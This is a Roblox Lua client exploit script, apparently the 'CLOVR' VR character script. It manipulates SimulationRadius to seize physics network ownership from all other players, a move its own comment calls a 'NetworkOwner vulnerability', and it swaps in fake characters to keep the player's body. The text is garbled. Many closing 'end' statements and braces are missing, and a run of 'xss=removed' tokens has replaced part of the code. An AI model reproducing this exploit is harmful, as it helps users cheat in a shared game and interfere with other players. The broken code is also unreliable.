local StudsOffset = 0.1 -- Character height (negative if you're too high)

local Smoothness = 1 -- Character interpolation (0.1 - 1 = smooth - rigid)

 

local AnchorCharacter = false -- Prevent physics from causing inconsistencies

local HideCharacter = false -- Hide character on a platform

local NoCollision = false -- Disable player collision

 

local ChatEnabled = true -- See chat on your left hand in-game

 local ChatLocalRange = 75 -- Local chat range

 

local ViewportEnabled = true -- View nearby players in a frame

 local ViewportRange = 100 -- Maximum distance players are updated

 

local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)

 local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)

 

local AutoRun = false -- Run script on respawn

local AutoRespawn = true -- Kill your real body when your virtual body dies

 

local WearAllAccessories = true -- Use all leftover hats for the head

local AccurateHandPosition = true -- Move your Roblox hands according to your real hands

 

local AccessorySettings = {

 LeftArm  = "";

 RightArm = "";

 LeftLeg  = "";

 RightLeg = "";

 Torso  = "";

 Head  = true;

 

 BlockArms = true;

 BlockLegs = true;

 BlockTorso = true;

 

 LimbOffset = CFrame.Angles(math.rad(90), 0, 0);

 

local FootPlacementSettings = {

 RightOffset = Vector3.new(.5, 0, 0),

 LeftOffset = Vector3.new(-.5, 0, 0),

 

 

local Script = nil;

 

Script = function()

 

 

local Players = game:GetService("Players")

 local Client = Players.LocalPlayer

  local Character = Client.Character or Client.CharacterAdded:Wait()

   local WeldBase = Character:WaitForChild("HumanoidRootPart")

   local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase

  local Backpack = Client:WaitForChild("Backpack")

  local Mouse = Client:GetMouse()

 

local Camera = workspace.CurrentCamera

 

local VRService = game:GetService("VRService")

 local VRReady = VRService.VREnabled

 

local UserInputService = game:GetService("UserInputService")

local RunService = game:GetService("RunService")

local HttpService = game:GetService("HttpService")

local StarterGui = game:GetService("StarterGui")

 

local HeadAccessories = {};

local UsedAccessories = {};

 

local Pointer = false;

local Point1 = false;

local Point2 = false;

 

local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]

local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

 

local Anchor = Instance.new("Part")

 

Anchor.Anchored = true

Anchor.Transparency = 1

Anchor.CanCollide = false

Anchor.Parent = workspace

 

if RagdollEnabled then

 print("RagdollEnabled, thank you for using CLOVR!")

 local NetworkAccess = coroutine.create(function()

settings().Physics.AllowSleep = false

while true do game:GetService("RunService").RenderStepped:Wait()

for _,Players in next, game:GetService("Players"):GetChildren() do

if Players ~= game:GetService("Players").LocalPlayer then

Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end

game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)

game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)

coroutine.resume(NetworkAccess)

 

 

 

 

local CharacterCFrame = WeldBase.CFrame

 

if not RagdollEnabled then

 Character.Humanoid.AnimationPlayed:Connect(function(Animation)

  Animation:Stop()

 end)

 

 for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do

  Track:Stop()

 end

 

 if HideCharacter then

  local Platform = Instance.new("Part")

 

  Platform.Anchored = true

  Platform.Size = Vector3.new(100, 5, 100)

  Platform.CFrame = CFrame.new(0, 10000, 0)

  Platform.Transparency = 1

  Platform.Parent = workspace

 

  Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))

 

  wait(.5)

 end

 

 if AnchorCharacter then

  for _, Part in pairs(Character:GetChildren()) do

   if Part:IsA("BasePart") then

    Part.Anchored = true

   end

  end

 end

 

 

function Tween(Object, Style, Direction, Time, Goal)

    local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])

    local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)

 

 tween.Completed:Connect(function()

  tween:Destroy()

 end)

 

    tween:Play()

 

    return tween

 

local function GetMotorForLimb(Limb)

 for _, Motor in next, Character:GetDescendants() do

  if Motor:IsA("Motor6D") and Motor.Part1 == Limb then

   return Motor

  end

 end

 

local function CreateAlignment(Limb, Part0)

 local Attachment0 = Instance.new("Attachment", Part0 or Anchor)

 local Attachment1 = Instance.new("Attachment", Limb)

 

 local Orientation = Instance.new("AlignOrientation")

 local Position = Instance.new("AlignPosition")

 

 Orientation.Attachment0 = Attachment1

 Orientation.Attachment1 = Attachment0

 Orientation.RigidityEnabled = false

 Orientation.MaxTorque = 20000

 Orientation.Responsiveness = 40

 Orientation.Parent = Character.HumanoidRootPart

 

 Position.Attachment0 = Attachment1

 Position.Attachment1 = Attachment0

 Position.RigidityEnabled = false

 Position.MaxForce = 40000

 Position.Responsiveness = 40

 Position.Parent = Character.HumanoidRootPart

 

 Limb.Massless = false

 

 local Motor = GetMotorForLimb(Limb)

 if Motor then

  Motor:Destroy()

 end

 

 return function(CF, Local)

  if Local then

   Attachment0.CFrame = CF

  else

   Attachment0.WorldCFrame = CF

  end

 end;

 

local function GetExtraTool()

 for _, Tool in next, Character:GetChildren() do

  if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then

   return Tool

  end

 end

 

local function GetGripForHandle(Handle)

 for _, Weld in next, Character:GetDescendants() do

  if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

   return Weld

  end

 end

 

 wait(.2)

 

 for _, Weld in next, Character:GetDescendants() do

  if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then

   return Weld

  end

 end

 

local function CreateRightGrip(Handle)

 local RightGrip = Instance.new("Weld")

 

 RightGrip.Name = "RightGrip"

 RightGrip.Part1 = Handle

 RightGrip.Part0 = WeldBase

 RightGrip.Parent = WeldBase

 

 return RightGrip

 

local function CreateAccessory(Accessory, DeleteMeshes)

 if not Accessory then

  return

 end

 

 local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

 local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)

 local BasePart = HeadAttachment.Parent

 

 local HatAtt = HatAttachment.CFrame

 local HeadAtt = HeadAttachment.CFrame

 

 if DeleteMeshes then

  if Accessory.Handle:FindFirstChild("Mesh") then

   Accessory.Handle.Mesh:Destroy()

  end

 end

 

 wait()

 

 local Handle = Accessory:WaitForChild("Handle")

 

 if Handle:FindFirstChildWhichIsA("Weld", true) then

  Handle:FindFirstChildWhichIsA("Weld", true):Destroy()

  Handle:BreakJoints()

 else

  Handle:BreakJoints()

 end

 

 Handle.Massless = true

 Handle.Transparency = 0.5

 

 UsedAccessories[Accessory] = true

 

 local RightGrip = CreateRightGrip(Handle)

 

 wait()

 

 for _, Object in pairs(Handle:GetDescendants()) do

  if not Object:IsA("BasePart") then

   pcall(function()

    Object.Transparency = 1

   end)

   

   pcall(function()

    Object.Enabled = false

   end)

  end

 end

 

 return Handle, RightGrip, HatAtt, HeadAtt, BasePart;

 

local function GetHeadAccessories()

 for _, Accessory in next, Character:GetChildren() do

  if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then

   local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)

   

   table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})

   

   do

    Handle.Transparency = 1

   end

   

   if not WearAllAccessories then

    break

   end

  end

 end

 

 

if not RagdollEnabled then

 LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)

 RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)

 LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)

 RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)

 TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)

 GetHeadAccessories()

 

elseif RagdollEnabled then

 if RagdollHeadMovement then

  Permadeath()

  MoveHead = CreateAlignment(Character["Head"])

 end

 

 MoveRightArm = CreateAlignment(Character["Right Arm"])

 MoveLeftArm = CreateAlignment(Character["Left Arm"])

 MoveRightLeg = CreateAlignment(Character["Right Leg"])

 MoveLeftLeg = CreateAlignment(Character["Left Leg"])

 MoveTorso = CreateAlignment(Character["Torso"])

 MoveRoot = CreateAlignment(Character.HumanoidRootPart)

 

 if RagdollHeadMovement then

  for _, Accessory in next, Character:GetChildren() do

   if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then

    local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")

    local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)

   

    local Orientation = Instance.new("AlignOrientation")

    local Position = Instance.new("AlignPosition")

   

    print(Attachment1, Attachment0, Accessory)

   

    Orientation.Attachment0 = Attachment1

    Orientation.Attachment1 = Attachment0

    Orientation.RigidityEnabled = false

    Orientation.ReactionTorqueEnabled = true

    Orientation.MaxTorque = 20000

    Orientation.Responsiveness = 40

    Orientation.Parent = Character.Head

   

    Position.Attachment0 = Attachment1

    Position.Attachment1 = Attachment0

    Position.RigidityEnabled = false

    Position.ReactionForceEnabled = true

    Position.MaxForce = 40000

    Position.Responsiveness = 40

    Position.Parent = Character.Head

   end

  end

 end

 

 

VirtualRig.Name = "VirtualRig"

VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p

VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p

VirtualRig.Parent = workspace

VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

 

VirtualRig.Humanoid.Health = 0

VirtualRig:BreakJoints()

 

VirtualBody.Parent = workspace

VirtualBody.Name = "VirtualBody"

VirtualBody.Humanoid.WalkSpeed = 8

VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)

VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

 

VirtualBody.Humanoid.Died:Connect(function()

 print("Virtual death")

 if AutoRespawn then

  Character:BreakJoints()

 

  if RagdollHeadMovement and RagdollEnabled then

   Network:Unclaim()

   Respawn()

  end

 end

 

Camera.CameraSubject = VirtualBody.Humanoid

 

Character.Humanoid.WalkSpeed = 0

Character.Humanoid.JumpPower = 1

 

for _, Part in next, VirtualBody:GetChildren() do

 if Part:IsA("BasePart") then

  Part.Transparency = 1

 end

 

for _, Part in next, VirtualRig:GetChildren() do

 if Part:IsA("BasePart") then

  Part.Transparency = 1

 end

 

if not VRReady then

 VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true

 VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true

 

 

local OnMoving = RunService.Stepped:Connect(function()

 local Direction = Character.Humanoid.MoveDirection

 local Start = VirtualBody.HumanoidRootPart.Position

 local Point = Start + Direction * 6

 

 VirtualBody.Humanoid:MoveTo(Point)

 

Character.Humanoid.Jumping:Connect(function()

 VirtualBody.Humanoid.Jump = true

 

UserInputService.JumpRequest:Connect(function()

 VirtualBody.Humanoid.Jump = true

 

 

if RagdollEnabled then

 for _, Part in pairs(Character:GetDescendants()) do

  if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then

   Part.LocalTransparencyModifier = 1

  elseif Part:IsA("BasePart") and Part.Transparency < 0 xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed> 0 then

  MaxDist = .5

 else

  MaxDist = 1

 end

 

 local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist

 local PastTick = tick() - FootUpdateDebounce >= 2

 

 if PastThreshold or PastTick then

  FootUpdateDebounce = tick()

 end

 

 return

  PastThreshold

 or

  PastTick

 

local function FootYield()

 local RightFooting = VirtualRig.RightFoot.BodyPosition

 local LeftFooting = VirtualRig.LeftFoot.BodyPosition

 local LowerTorso = VirtualRig.LowerTorso

 

 local Yield = tick()

 

 repeat

  RunService.Stepped:Wait()

  if

   (LowerTorso.Position - RightFooting.Position).Y > 4

  or

   (LowerTorso.Position - LeftFooting.Position).Y > 4

  or

   ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  or

   ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4

  then

   break

  end

 until tick() - Yield >= .17

 

local function UpdateFooting()

 if not VirtualRig:FindFirstChild("LowerTorso") then

  wait()

  return

 end

 

 local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)

 

 Dist = math.clamp(Dist, 0, 5)

 

 local FootTarget =

  VirtualRig.LowerTorso.CFrame *

  CFrame.new(FootPlacementSettings.RightOffset) -

  Vector3.new(0, Dist, 0) +

  Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

 

 if FootReady(VirtualRig.RightFoot, FootTarget) then

  VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p

  VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

 end

 

 FootYield()

 

 local FootTarget =

  VirtualRig.LowerTorso.CFrame *

  CFrame.new(FootPlacementSettings.LeftOffset) -

  Vector3.new(0, Dist, 0) +

  Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2

 

 if FootReady(VirtualRig.LeftFoot, FootTarget) then

  VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p

  VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)

 end

 

local function UpdateTorsoPosition()

 if not RagdollEnabled then

  if TorsoHandle then

   local Positioning = VirtualRig.UpperTorso.CFrame

   

   if not TorsoGrip or not TorsoGrip.Parent then

    TorsoGrip = CreateRightGrip(TorsoHandle)

   end

   

   local Parent = TorsoGrip.Parent

   

   TorsoGrip.C1 = CFrame.new()

   TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)

   TorsoGrip.Parent = nil

   TorsoGrip.Parent = Parent

  end

 else

  local Positioning = VirtualRig.UpperTorso.CFrame

 

  MoveTorso(Positioning * CFrame.new(0, -0.25, 0))

  MoveRoot(Positioning * CFrame.new(0, -0.25, 0))

 end

 

local function UpdateLegPosition()

 if not RagdollEnabled then

  if RightHipHandle then

   local Positioning =

    VirtualRig.RightLowerLeg.CFrame

    : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

    + Vector3.new(0, 0.5, 0)

   

   if not RightHipHandle or not RightHipHandle.Parent then

    RightLegGrip = CreateRightGrip(RightHipHandle)

   end

   

   local Parent = RightLegGrip.Parent

   

   RightLegGrip.C1 = CFrame.new()

   RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

   RightLegGrip.Parent = nil

   RightLegGrip.Parent = Parent

  end

 

  if LeftHipHandle then

   local Positioning =

    VirtualRig.LeftLowerLeg.CFrame

    : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

    + Vector3.new(0, 0.5, 0)

   

   if not LeftLegGrip or not LeftLegGrip.Parent then

    LeftLegGrip = CreateRightGrip(LeftHipHandle)

   end

   

   local Parent = LeftLegGrip.Parent

   

   LeftLegGrip.C1 = CFrame.new()

   LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)

   LeftLegGrip.Parent = nil

   LeftLegGrip.Parent = Parent

  end

 else

  do

   local Positioning =

    VirtualRig.RightLowerLeg.CFrame

    : Lerp(VirtualRig.RightFoot.CFrame, 0.5)

    * CFrame.Angles(0, math.rad(180), 0)

    + Vector3.new(0, 0.5, 0)

   

   MoveRightLeg(Positioning)

  end

 

  do

   local Positioning =

    VirtualRig.LeftLowerLeg.CFrame

    : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)

    * CFrame.Angles(0, math.rad(180), 0)

    + Vector3.new(0, 0.5, 0)

   

   MoveLeftLeg(Positioning)

  end

 end

 

warn("VRReady is", VRReady)

 

local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)

 local Positioning = Camera.CFrame * Positioning

 

 if not IgnoreTorso then

  UpdateTorsoPosition()

  UpdateLegPosition()

 end

 

 if not RagdollEnabled then

  if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then

   for _, Table in next, HeadAccessories do

    local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)

    local LocalPositioning = Positioning

   

    if not RightGrip or not RightGrip.Parent then

     RightGrip = CreateRightGrip(Handle)

     Table[2] = RightGrip

    end

   

    local Parent = RightGrip.Parent

   

    if BasePart then

     LocalPositioning = BasePart.CFrame * HeadAtt

    end

   

    RightGrip.C1 = HatAtt

    RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)

    RightGrip.Parent = nil

    RightGrip.Parent = Parent

   end

   

  elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then

   local HandPosition = Positioning

   local LocalPositioning = Positioning

   

   if not RightHandGrip or not RightHandGrip.Parent then

    RightHandGrip = CreateRightGrip(RightHandle)

   end

   

   if AccurateHandPosition then

    HandPosition = HandPosition * CFrame.new(0, 0, 1)

   end

   

   if not VRReady then

    local HeadRotation = Camera.CFrame - Camera.CFrame.p

   

    HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

   

    --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)

    LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)

   

    if Point2 then

     VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

     VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

    elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

     VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

    end

   elseif AccurateHandPosition then

    LocalPositioning = HandPosition

   end

   

   local Parent = RightHandGrip.Parent

   

   RightHandGrip.C1 = CFrame.new()

   RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

   RightHandGrip.Parent = nil

   RightHandGrip.Parent = Parent

   

   --

   

   local EquippedTool = GetExtraTool()

   

   if EquippedTool and EquippedTool:FindFirstChild("Handle") then

    local EquippedGrip = GetGripForHandle(EquippedTool.Handle)

    local Parent = EquippedGrip.Parent

   

    local ArmBaseCFrame = ArmBase.CFrame

    if ArmBase.Name == "Right Arm" then

     ArmBaseCFrame = ArmBaseCFrame

    end

   

    EquippedGrip.C1 = EquippedTool.Grip

    EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)

    EquippedGrip.Parent = nil

    EquippedGrip.Parent = Parent

   end

   

  elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then

   local HandPosition = Positioning

   

   if not LeftHandGrip or not LeftHandGrip.Parent then

    LeftHandGrip = CreateRightGrip(LeftHandle)

   end

   

   if AccurateHandPosition then

    HandPosition = HandPosition * CFrame.new(0, 0, 1)

   end

   

   if not VRReady then

    HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset

    --warn("Setting HandPosition to hands")

    if Point1 then

     VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

     VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

    elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

     VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

    end

   end

   

   local Parent = LeftHandGrip.Parent

   

   LeftHandGrip.C1 = CFrame.new()

   LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)

   LeftHandGrip.Parent = nil

   LeftHandGrip.Parent = Parent

   

  end

 end

 

 if RagdollEnabled then

  if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then

   MoveHead(Positioning)

  elseif UserCFrame == Enum.UserCFrame.RightHand then

   local Positioning = Positioning

   

   if not VRReady then

    Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)

   elseif AccurateHandPosition then

    Positioning = Positioning * CFrame.new(0, 0, 1)

   end

   

   if VRReady then

    Positioning = Positioning * AccessorySettings.LimbOffset

   end

   

   MoveRightArm(Positioning)

   

   if Point2 then

    VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

    VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

   elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

    VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

   end

  elseif UserCFrame == Enum.UserCFrame.LeftHand then

   local Positioning = Positioning

   

   if not VRReady then

    Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)

   elseif AccurateHandPosition then

    Positioning = Positioning * CFrame.new(0, 0, 1)

   end

   

   if VRReady then

    Positioning = Positioning * AccessorySettings.LimbOffset

   end

   

   MoveLeftArm(Positioning)

   

   if Point1 then

    VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)

    VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset

   elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then

    VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)

   end

  end

 end

 

 if UserCFrame == Enum.UserCFrame.Head then

  VirtualRig.Head.CFrame = Positioning

 

 elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then

  VirtualRig.RightHand.CFrame = Positioning

 

 elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then

  VirtualRig.LeftHand.CFrame = Positioning

 

 end

 

 if not VRReady and VirtualRig.LeftHand.Anchored then

  VirtualRig.RightHand.Anchored = false

  VirtualRig.LeftHand.Anchored = false

 elseif VRReady and not VirtualRig.LeftHand.Anchored then

  VirtualRig.RightHand.Anchored = true

  VirtualRig.LeftHand.Anchored = true

 end

 

local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

 

local OnStepped = RunService.Stepped:Connect(function()

 for _, Part in pairs(VirtualRig:GetChildren()) do

  if Part:IsA("BasePart") then

   Part.CanCollide = false

  end

 end

 

 if RagdollEnabled then

  for _, Part in pairs(Character:GetChildren()) do

   if Part:IsA("BasePart") then

    Part.CanCollide = false

   end

  end

 end

 

 if NoCollision then

  for _, Player in pairs(Players:GetPlayers()) do

   if Player ~= Client and Player.Character then

    local Descendants = Player.Character:GetDescendants()

    for i = 1, #Descendants do

     local Part = Descendants[i]

     if Part:IsA("BasePart") then

      Part.CanCollide = false

      Part.Velocity = Vector3.new()

      Part.RotVelocity = Vector3.new()

     end

    end

   end

  end

 end

 

local OnRenderStepped = RunService.Stepped:Connect(function()

 Camera.CameraSubject = VirtualBody.Humanoid

 

 if RagdollEnabled then

  Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame

  Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)

 end

 

 if not VRReady then

  OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))

 

  OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)

  OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)

 end

 

spawn(function()

 while Character and Character.Parent do

  FootYield()

  UpdateFooting()

 end

 

 

local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)

 if not Processed then

  if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

   Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

    CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)

   })

  end

 

  if Input.KeyCode == Enum.KeyCode.X then

   if RagdollEnabled and RagdollHeadMovement then

    Network:Unclaim()

    Respawn()

   end

  end

 

  if Input.KeyCode == Enum.KeyCode.C then

   VirtualBody:MoveTo(Mouse.Hit.p)

   VirtualRig:MoveTo(Mouse.Hit.p)

  end

 end

 

 if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

   WalkSpeed = 16

  })

 end

 

 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  Point1 = true

 end

 

 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  Point2 = true

 end

 

 if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then

  Character:BreakJoints()

 

  if RagdollEnabled and RagdollHeadMovement then

   Network:Unclaim()

   Respawn()

  end

 end

 

local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)

 if not Processed then

  if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then

   Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {

    CameraOffset = Vector3.new(0, StudsOffset, 0)

   })

  end

 end

 

 if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then

  Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {

   WalkSpeed = 8

  })

 end

 

 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then

  Point1 = false

 end

 

 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then

  Point2 = false

 end

 

 

local OnReset

 

OnReset = Client.CharacterAdded:Connect(function()

 OnReset:Disconnect();

 CFrameChanged:Disconnect();

 OnStepped:Disconnect();

 OnRenderStepped:Disconnect();

 OnMoving:Disconnect();

 OnInput:Disconnect();

 OnInputEnded:Disconnect();

 

 VirtualRig:Destroy();

 VirtualBody:Destroy();

 

 if RagdollEnabled then

  Network:Unclaim();

 end

 

 if AutoRun then

  delay(2, function()

   Script()

  end)

 end

 

if ChatEnabled then

 spawn(ChatHUDFunc)

 

if ViewportEnabled then

 spawn(ViewHUDFunc)

 

 --[[

 

 local Players = game:GetService("Players")

  local Client = Players.LocalPlayer

 

 local VRService = game:GetService("VRService")

  local VRReady = VRService.VREnabled

 

 local UserInputService = game:GetService("UserInputService")

 local RunService = game:GetService("RunService")

 

 local Camera = workspace.CurrentCamera

 

 --[[

 

 if VRReady then

  local Pointer = game:GetObjects("rbxassetid://4476173280")[1]

 

  Pointer.Parent = workspace

  Pointer.Beam.Enabled = false

  Pointer.Target.ParticleEmitter.Enabled = false

 

  local RenderStepped = RunService.RenderStepped:Connect(function()

   if Pointer.Beam.Enabled then

    local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)

    local Target = RightHand * CFrame.new(0, 0, -10)

   

    local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)

    local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})

   

    local Distance = (Position - RightHand.p).Magnitude

   

    Pointer.Target.Position = Vector3.new(0, 0, -Distance)

    Pointer.CFrame = RightHand

   end

  end)

 

  local Input = UserInputService.InputBegan:Connect(function(Input)

   if Input.KeyCode == Enum.KeyCode.ButtonB then

    Pointer.Beam.Enabled = not Pointer.Beam.Enabled

    Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled

   end

  end)

 

  --

 

  local CharacterAdded

 

  CharacterAdded = Client.CharacterAdded:Connect(function()

   RenderStepped:Disconnect()

   Input:Disconnect()

   CharacterAdded:Disconnect()

   

   Pointer:Destroy()

   Pointer = nil

  end)

 else

  return

 end

 

 

Permadeath = function()

 local ch = game.Players.LocalPlayer.Character

 local prt=Instance.new("Model", workspace)

 local z1 =  Instance.new("Part", prt)

 z1.Name="Torso"

 z1.CanCollide = false

 z1.Anchored = true

 local z2  =Instance.new("Part", prt)

 z2.Name="Head"

 z2.Anchored = true

 z2.CanCollide = false

 local z3 =Instance.new("Humanoid", prt)

 z3.Name="Humanoid"

 z1.Position = Vector3.new(0,9999,0)

 z2.Position = Vector3.new(0,9991,0)

 game.Players.LocalPlayer.Character=prt

 wait(5)

 warn("50%")

 game.Players.LocalPlayer.Character=ch

 wait(6)

 warn("100%")

 

Respawn = function()

 local ch = game.Players.LocalPlayer.Character

 

 local prt=Instance.new("Model", workspace)

 local z1 =  Instance.new("Part", prt)

 z1.Name="Torso"

 z1.CanCollide = false

 z1.Anchored = true

 local z2  =Instance.new("Part", prt)

 z2.Name="Head"

 z2.Anchored = true

 z2.CanCollide = false

 local z3 =Instance.new("Humanoid", prt)

 z3.Name="Humanoid"

 z1.Position = Vector3.new(0,9999,0)

 z2.Position = Vector3.new(0,9991,0)

 game.Players.LocalPlayer.Character=prt

 wait(5)

